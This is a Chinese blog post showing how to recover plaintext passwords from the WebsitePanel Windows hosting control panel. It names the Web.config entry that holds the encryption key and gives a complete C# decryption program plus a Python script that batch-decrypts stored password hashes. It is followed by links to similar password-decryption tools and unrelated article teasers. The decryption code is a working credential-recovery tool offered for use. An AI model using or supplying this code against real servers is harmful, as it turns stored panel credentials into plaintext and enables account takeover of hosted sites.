WebsitePanel是一套Windows系统中的虚拟主机管理系统,可以同时管理多台服务器。

通过反编译该系统的dll发现该系统的密码加密方式可逆。

解密流程

1,获取密钥

密钥保存在  Enterprise Server\Enterprise Server\Web.config 文件中

<add key="WebsitePanel.CryptoKey" value="qgyd********a0drj" />中的value的内容即为密钥

2,替换代码中的密钥位置,保存为c#文件,编译

 1 using System;
2 using System.IO;
3 using System.Security.Cryptography;
4 using System.Text;
5
6 public class Hello
7 {
8 public static void Main(string[] args)
9 {
10 int arg;
11 //Console.WriteLine(args[0].ToString());
12 string InputText = args[0].ToString();
13 string cryptoKey = "<你的加密密钥>";
14 RijndaelManaged rijndaelManaged = new RijndaelManaged();
15 byte[] array = Convert.FromBase64String(InputText);
16 byte[] bytes = Encoding.ASCII.GetBytes(cryptoKey.Length.ToString());
17 PasswordDeriveBytes passwordDeriveBytes = new PasswordDeriveBytes(cryptoKey, bytes);
18 ICryptoTransform transform = rijndaelManaged.CreateDecryptor(passwordDeriveBytes.GetBytes(32), passwordDeriveBytes.GetBytes(16));
19 MemoryStream memoryStream = new MemoryStream(array);
20 CryptoStream cryptoStream = new CryptoStream(memoryStream, transform, CryptoStreamMode.Read);
21 byte[] array2 = new byte[array.Length];
22 int count = cryptoStream.Read(array2, 0, array2.Length);
23 memoryStream.Close();
24 cryptoStream.Close();
25 //return Encoding.Unicode.GetString(array2, 0, count);
26 Console.WriteLine(Encoding.Unicode.GetString(array2, 0, count));
27 }
28 }
29

3,编译后 decrypt.exe <password>即可解密单个密码

批量解密可把所有密码都保存到一个txt里,然后编写脚本批量解密,比如下面的python脚本

 1 import sys
2 import os
3
4 decrycmd = "WebsitePanel_password_decrypto.exe {password}"
5 fp = open("hash.txt","r")
6 hash = fp.readlines()
7 fp.close()
8
9 passwordlist = []
10 for p in hash:
11 p = p.strip()
12 content = os.popen(decrycmd.format(password=p))
13 passwordlist.append(p+" >>> "+content.read()+"\n")
14
15 fp = open("password.txt","w+")
16 fp.writelines(passwordlist)
17 fp.close()

WebsitePanel密码解密的更多相关文章

  1. [信安Presentation]一种基于GPU并行计算的MD5密码解密方法

    -------------------paper--------------------- 一种基于GPU并行计算的MD5密码解密方法 0.abstract1.md5算法概述2.md5安全性分析3.基 ...

  2. DedeCms密码解密[转]

    dede 的密码怎么破解,dede后台.32位的DEDE密码如何破解 dede 的密码是32位MD5减去头5位,减去尾七位,得到20 MD5密码,方法是,前减3后减1,得到16位MD5. 比如我的数据 ...

  3. Hill密码解密过程(Java)

    Hill密码是一种传统的密码体系.加密原理:选择一个二阶可逆整数矩阵A称为密码的加密矩阵,也就是这个加密体系的密钥.加密过程: 明文字母依次逐对分组,例如加密矩阵为二阶矩阵,明文就两个字母一组,如果最 ...

  4. [个人论文]一种基于GPU并行计算的MD5密码解密方法

    求轻喷... [顺便get一份LaTeX论文模板....还是XeLaTex好用.珍爱生命远离CJK http://files.cnblogs.com/files/pdev/paper.zip

  5. [原创]K8正方系统密码解密工具

    工具: K8_zfsoftDecode编译: 自己查壳组织: K8搞基大队[K8team]作者: K8拉登哥哥博客: http://qqhack8.blog.163.com发布: 2015/8/1 1 ...

  6. [原创]K8 DNN密码解密工具(DotNetNuke Password Decrypt)

    工具: K8_DNN_Password_Decrypt编译: VS2012  C# (.NET Framework v2.0)组织: K8搞基大队[K8team]作者: K8拉登哥哥博客: http: ...

  7. [原创]K8 CMS GoastGuard 密码解密工具

    工具: K8 CMS GoastGuard PASS Decrypt编译: VS2012  C# (.NET Framework v4.5)组织: K8搞基大队[K8team]作者: K8拉登哥哥博客 ...

  8. 困在栅栏里的恺撒WriteUp(附栅栏密码加密解密脚本)

    题目地址:http://www.shiyanbar.com/ctf/1867 这道题目并不难,就是先用栅栏密码解密,然后再用恺撒密码解密就好. 1. 6代表了栅栏密码的栏数(说实话,一开始我也没看出来 ...

  9. 围在栅栏中的爱WriteUp(附QWE密码加解密脚本)

    题目的链接:http://www.shiyanbar.com/ctf/1917 1.首先题目给出的是摩尔斯电码: 在下面的网站上解密:https://www.cryptool.org/en/cto-c ...

随机推荐

  1. Python opencv resize图片并保存原有的图像比例

    参考链接:https://www.jianshu.com/p/3092835eab61 现有的图像是高瘦高瘦的,所以直接resize成矩形不合适.改变了整个结构. 所以采用的是先resize再padd ...

  2. D. Number of Parallelograms 解析(幾何)

    Codeforce 660 D. Number of Parallelograms 解析(幾何) 今天我們來看看CF660D 題目連結 題目 給你一些點,求有多少個平行四邊形. 前言 @copyrig ...

  3. confluence 4.2 升级至 6.10.x 记录

    confluence 4.2 升级至 6.10.x 记录 首先将线上环境中的 confluence 安装目录.数据目录以及数据库进行备份,相关信息如下: 安装目录:/opt/atlassian/con ...

  4. STM32入门系列-GPIO概念介绍

    GPIO(general purpose intput output)是通用输入输出端口的简称,可以通过软件来控制其输入和输出.STM32 芯片的 GPIO 引脚与外部设备连接起来,从而实现与外部通讯 ...

  5. NB-IoT窄带物联网技术的四大优势

      NB-IoT是指窄带物联网(Narrow Band -Internet of Things)技术,是IoT领域一个新兴的技术,支持低功耗设备在广域网的蜂窝数据连接,也被叫作低功耗广域网(LPWA) ...

  6. mysql增删改查语法

    MySQL 关注公众号"轻松学编程"了解更多. MySQL是关系型数据库,对大小写不敏感. MySQL属于关系型数据库, 优点: 复杂查询 可以用SQL语句方便的在一个表以及多个表 ...

  7. c#分割习题

    2.从一个记录了学生成绩的文本文档,每个学生成绩是一行,每行是用 | 分割的数据,用 | 分割的域分别是姓名.年龄.成绩.年级,写程序取出各个年级成绩最高学生的成绩.年级放到集合中.提示:(1)使用 ...

  8. 鸿蒙开发板外设控制 之 实现物理按键的“长按事件”(按键通用框架 V0.0.2)

    我在之前的帖子<实现按键"按下事件"和"释放事件"的通用框架(V0.0.1)>中阐述了DTButton-V0.0.1的设计思路,并且也在帖子中开源了 ...

  9. C/C++中内存对齐问题的一些理解(转)

    内存对齐指令 一般来说,内存对齐过程对coding者来说是透明的,是由编译器控制完成的 如对内存对齐有明确要求,可用#pragma pack(n)指定,以n和结构体中最长数据成员长度中较小者为有效值 ...

  10. java实现 阿拉伯数字转换为汉字数字(转载)

    public class VedioExtractSpeech { public static void main(String[] args) { System.out.println(" ...